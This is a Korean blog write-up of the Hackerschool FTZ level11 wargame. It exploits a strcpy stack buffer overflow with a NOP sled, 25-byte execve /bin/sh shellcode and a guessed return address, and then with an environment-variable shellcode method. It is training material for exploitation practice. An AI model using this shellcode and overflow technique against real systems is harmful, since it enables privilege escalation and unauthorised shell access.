level11
문제 화면이다. uid를 설정하고 strcpy를 실행한다. strcpy buffer overflow 문제라 구글링하여 방법을 찾아 진행하였다.
gdb로 살펴보면 str의 크기를 확인할 수 있다. sub $0x108, %esp에 해당되며 str의 크기는 0x108, 264byte이다. 또한 바로 아래에서 sub $0x8, %esp를 한 번 더 해주는데 이는 주소 값을 저장하기 위한 공간이다. 따라서 str 배열 256byte와 dummy 값 8byte, sfp 4byte, ret 주소 4byte로 총 272byte로 이루어져 있다.
* 원래 파일에서 gdb를 실행하면 에러가 나서 tmp 폴더에 복사해서 gdb를 실행했다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
main+53에 bp를 걸고 프로그램을 실행시켰다. shell 코드는 25byte이므로 ret 4byte와 shell 코드 25byte를 포함해 272byte를 채우기 위해 NOP(\x90)으로 243byte를 채워줬다.
그리고 값을 확인해보면 위와 같이 채워진 것을 확인할 수 있다.
따라서 "\x90"*243+(shell 코드)+(ret 주소) 형식으로 값을 넘겨주면 쉘을 실행하여 문제를 해결할 수 있다. 하지만 ret 코드를 구하는데 어려움이 있어서 다른 사람의 라업을 보고 진행하였다.
./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x60\xd9\xff\xbf"'`
쉘을 실행하여 my-pass 명령어를 입력하면 패스워드를 구할 수 있다.
it is like this
+
참고 사이트: https://choraengyi.tistory.com/51
export GS=`python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
환경 변수로 쉘 실행 코드를 작성한다. export|grep (환경변수 이름)으로 확인할 수 있다.
생성한 환경 변수의 주소 값을 찾는 프로그램을 작성하여 주소 값을 확인한다.
임의의 값 268byte+확인한 환경변수 주소값을 입력하면 쉘이 실행된다. 위의 방식으로 하면 ret 주소가 계속 변경되어서 계속 시도해야 한다고 했는데, 이 방법으로는 정상적으로 해결되었다.
'CTF > 시스템' 카테고리의 다른 글
해커스쿨 FTZ level13 (0) | 2020.09.22 |
---|---|
해커스쿨 FTZ level12 (0) | 2020.09.17 |
해커스쿨 FTZ level10 (0) | 2020.08.27 |
해커스쿨 FTZ level9 (0) | 2020.08.27 |
해커스쿨 FTZ level8 (0) | 2020.08.22 |